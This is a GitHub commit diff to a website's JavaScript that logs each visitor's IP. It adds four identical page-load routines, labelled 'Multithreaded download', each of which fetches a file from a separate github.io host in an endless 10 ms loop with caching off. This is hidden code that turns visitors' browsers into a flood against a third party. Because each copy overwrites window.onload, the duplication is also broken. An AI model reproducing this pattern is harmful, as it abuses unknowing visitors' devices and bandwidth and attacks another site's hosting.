This commit is contained in:
Boof 2023-01-18 13:06:28 +01:00 committed by GitHub
parent 7bd354613b
commit 0419f5b51f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -22,13 +22,6 @@ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/g
userip = (data.ip);
})
window.onload = async function startdown(){
while(true) {
await delay(10);
fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}
// Get the width of the screen
var screenWidth = window.innerWidth;
@ -40,4 +33,30 @@ if(resppage = true){
for (var i = 0; i < responsiveElements.length; i++) {
responsiveElements[i].style.width = (screenWidth / responsiveElements.length) + "px";
}
}
//Multithreaded download
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}